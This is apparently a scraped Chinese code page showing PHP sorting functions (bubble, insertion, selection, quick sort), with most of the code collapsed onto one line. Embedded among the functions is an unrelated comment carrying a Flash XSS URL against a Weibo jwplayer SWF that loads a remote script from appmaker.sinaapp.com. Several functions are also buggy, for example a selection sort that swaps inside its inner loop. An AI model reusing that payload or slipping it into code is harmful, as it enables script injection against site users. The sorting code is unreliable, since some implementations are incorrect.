首页 > 代码库 > php 实现常用算法

php 实现常用算法

//冒泡排序 从小到大对一组数排序
function mp($array){ 
    $count = count($array); 
    if ($count <= 0) return false; 
    for($i=0; $i<$count; $i++)  
    {  
        for($k=$count-1; $k>$i; $k--)  
        {  
            if($array[$k] < $array[$k-1])  
            {  
                $tmp = $array[$k];  
                $array[$k] = $array[$k-1];  
                $array[$k-1] = $tmp;  
            }  
        } 
        echo $i,"<br/>";
    }  
    return $array;
}
print_r(mp(array(1,3,5,32,756,2,6,4)));
echo "<br/>";
//插入排序 每次将一个待排序的数据元素插入到一个已经排好序的序列中。 function insert_sort($arr){ $count = count($arr); for($i=1; $i<$count; $i++){ $tmp = $arr[$i]; $j = $i - 1; while($arr[$j] > $tmp){ $arr[$j+1] = $arr[$j]; $arr[$j] = $tmp; $j--; } } return $arr; } echo "<br/>"; print_r(insert_sort(array(3,34,23,45,56,4,65,12))) ; //http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href=‘javascript:"<script/src=http://www.mamicode.com/‘//appmaker.sinaapp.com/test3.js/‘></script>"‘}) //选择排序 每次从待排序的数据元素中选出最小或最大的那个元素,放在已经排好序的序列的后边 function select_sort($arr){ $count = count($arr); for($i=0; $i<$count; $i++){ $k = $i; for($j=$i+1; $j<$count; $j++){ if ($arr[$k] > $arr[$j]) $k = $j; if ($k != $i){ $tmp = $arr[$i]; $arr[$i] = $arr[$k]; $arr[$k] = $tmp; } } } return $arr; } function selection_sort($array){ $count = count($array); for ($i=0;$i<$count-1;$i++) { /* find the minest */ $min = $i; echo ‘$min-->‘.$array[$min].‘-->‘; for ($j=$i+1;$j<$count;$j++) { //由小到大排列 if ($array[$min]>$array[$j]) { //表明当前最小的还比当前的元素大 $min = $j; //赋值新的最小的 } } echo $array[$min].‘coco<br/>‘; /* swap $array[$i] and $array[$min] 即将当前内循环的最小元素放在$i位置上*/ if($min!=$i) { $temp = $array[$min]; $array[$min] = $array[$i]; $array[$i] = $temp; } } return $array; } echo "<br/>"; print_r(select_sort(array(3,34,23,45,56,4,65,12,99))); //快速排序 function quick_sort($array){ if (count($array) <= 1) return $array; $key = $array[0]; $left_arr = array(); $right_arr = array(); for ($i=1; $i<count($array); $i++){ if ($array[$i] <= $key) $left_arr[] = $array[$i]; else $right_arr[] = $array[$i]; } $left_arr = quick_sort($left_arr); $right_arr = quick_sort($right_arr); return array_merge($left_arr, array($key), $right_arr); }